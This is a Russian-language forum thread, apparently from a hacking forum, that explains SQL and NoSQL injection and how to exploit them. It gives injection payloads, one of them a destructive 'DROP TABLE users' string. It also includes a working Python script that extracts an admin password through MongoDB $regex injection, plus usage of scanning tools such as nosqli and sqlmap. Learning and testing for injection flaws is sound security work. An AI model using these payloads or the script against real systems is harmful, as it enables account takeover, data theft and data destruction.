Загрузка...

Всё о sql injections и no sql injections и их эксплотации

Тема в разделе Веб уязвимости создана пользователем NK_TRIPLLE 12 мар 2025. (поднята 7 июн 2025 в 19:47) 478 просмотров

Загрузка...
  1. NK_TRIPLLE
    NK_TRIPLLE Автор темы 12 мар 2025 https://nk-triplle.com/ 3658 30 май 2022
    [IMG]


    Теория:
    Так как говорим о sql и nosql, ввиду вас в курс дела:
    Есть два вида баз данных это;
    SQL
    NOSQL
    Что же такое sql?
    SQL — декларативный язык программирования, применяемый для создания, модификации и управления данными в реляционной базе данных, управляемой соответствующей системой управления базами данных.

    Если говорить проще это язык который позволяет нам работать с данными хранимыми в sql базе данных.
    Пример таблицы и колонок в sql базе данных:
    [IMG]

    Что же такое nosql?
    NoSQL — обозначение широкого класса разнородных систем управления базами данных, появившихся в конце 2000-х — начале 2010-х годов и существенно отличающихся от традиционных реляционных СУБД с доступом к данным средствами языка SQL.

    Если говорить проще это базы данных работающие без использования языка sql, простой пример это MongoDB в ней данные хранятся в виде json.

    Что же такое json?
    JSON — текстовый формат обмена данными, основанный на JavaScript. Как и многие другие текстовые форматы, JSON легко читается людьми. Формат JSON был разработан Дугласом Крокфордом.


    Пример json данных:
    [IMG]


    Пример данных в MongoDB:
    [IMG]





    Sql инъекция это уязвимость позволяющая нам получить данные напрямую из базы данных.
    Следовательно nosql это тоже самое но для nosql базы данных.



    Где следует искать sql/nosql инъекции?
    Везде где есть поиск чего-либо
    Пример
    site/users
    site/search
    site/articles
    site/login
    site/register


    Практика:
    Есть несколько видов sql injections:
    Классическая SQL инъекция
    SQL инъекция, основанная на эксплуатации выводимых СУБД сообщений об ошибках (Error-based SQLi)
    Слепая SQL инъекция (Blind SQLi)
    На сайте есть форма:

    [IMG]



    Вводим имя Emma; DROP TABLE users
    В том случае sql на стороне сервера не параметизирован, то таблица users будет удалена.

    Если мы тестируем поиск или bypass авторизации мы используем:
    search query OR 1=1

    Если sql не параметизирован тогда поиск выдаст нам все данные.

    Как только мы нашли sql injection мы можем применить другие payloads, для получения данных, изменения паролей пользователей и тд.

    Практика по nosql:
    Есть несколько видов nosql inections:
    Внедрение синтаксиса - это когда мы можем напрямую работать с базой данных и испольнять любые команды на сервере, то есть полный доступ к базе данных и управление ими.
    Внедрение оператора - это когда мы можем манипулировать запросом бд и вытаскивать нужные нам данные.
    Внедрение JavaScript - это когда мы можем исполнять js код на стороне базы данных например для MongoDB.

    https://site.com/product/search?category=
    Пробуем подставить булево что бы вернуло все товары;
    Код
    ‘fizzy' && 1 && 'x
    Если сайт имеет nosql injection то вернет все категории.

    Пример nosql injection:
    Узнаем длину и подбираем пароль для учетки благодаря nosql injection

    Для этого используем $regex оператор:
    Код
    {"username":"admin","password":{"$regex":"^a"}}
    Где $regex нужен для определения длины пароля учетки:
    JS
    ^.{7}$ // для проверки длины пароля есле
    // равен семи то сервер не вернет оишбку
    ^c....$ // начинается ли пароль с строчной буквы
    // c

    // Далее следует просто подобрать пароль
    // Для этого в статье указан скрипт


    Скрипт для подбора пароля учетки:
    Python
    import string
    import requests


    url = "http://site.com/login"
    password = ""
    possible_characters = string.ascii_letters + string.digits + string.punctuation


    password_length = 8

    for position in range(1, password_length + 1):
    for char in possible_characters:
    regex = f"^{password + char}"
    data = {
    "username": "admin",
    "password": {"$regex": regex}
    }
    response = requests.post(url, json=data)

    if "Welcome" in response.text:
    password += char
    print(f"Password so far: {password}")
    break

    print(f"Final password: {password}")

    SQL INJECTIONS payloads:
    https://github.com/payloadbox/sql-injection-payload-list

    NOSQL INJECTIONS payloads:
    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/MongoDB.txt
    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/NoSQL.txt




    Дабы ускорить проверку наличия sql/nosql inection существуют автоматизированные утилиты:
    Для nosql баз данных:
    https://github.com/Charlie-belmer/nosqli

    Код
    $ nosqli
    NoSQLInjector is a CLI tool for testing Datastores that
    do not depend on SQL as a query language.

    nosqli aims to be a simple automation tool for identifying and exploiting
    NoSQL Injection vectors.

    Usage:
    nosqli [command]

    Available Commands:
    help Help about any command
    scan Scan endpoint for NoSQL Injection vectors
    version Prints the current version

    Flags:
    --config string config file (default is $HOME/.nosqli.yaml)
    -d, --data string Specify default post data (should not include any injection strings)
    -h, --help help for nosqli
    -p, --proxy string Proxy requests through this proxy URL. Defaults to HTTP_PROXY environment variable.
    -r, --request string Load in a request from a file, such as a request generated in Burp or ZAP.
    -t, --target string target url eg. http://site.com/page?arg=1
    -u, --user-agent string Specify a user agent

    Use "nosqli [command] --help" for more information about a command.

    $ nosqli scan -t http://localhost:4000/user/lookup?username=test
    Running Error based scan...
    Running Boolean based scan...
    Found Error based NoSQL Injection:
    URL: http://localhost:4000/user/lookup?=&username=test
    param: username
    Injection: username='
    https://github.com/ImKKingshuk/StealthNoSQL
    Для sql баз данных:
    https://github.com/sqlmapproject/sqlmap


    Если всё ещё сомневаетесь в понимании как работает и как эксплотировать sql/nosql injection
    Вот несколько полезных ссылок:
    Спасибо за прочтение, надеюсь было интересно, о чем написать ещё? :surprised_cat:
     
    12 мар 2025 Изменено
    1. gogosery
      NK_TRIPLLE, извиняйся и разбан делай
  2. Cartier
    Cartier 12 мар 2025 Лучший курс на TRX,Energy - https://lolz.live/threads/8610296/ 8754 1 сен 2020
    в конце редакт подвел
     
    1. Локет
      Cartier, как всегда прочитал за 1 минуту и вынес вердикт :BrainCosmic:
  3. ART1X
    ART1X 20 апр 2025 excellent is our standard 684 24 ноя 2016
    хорошая статья для безопасности на самом деле. спасибо
     
Top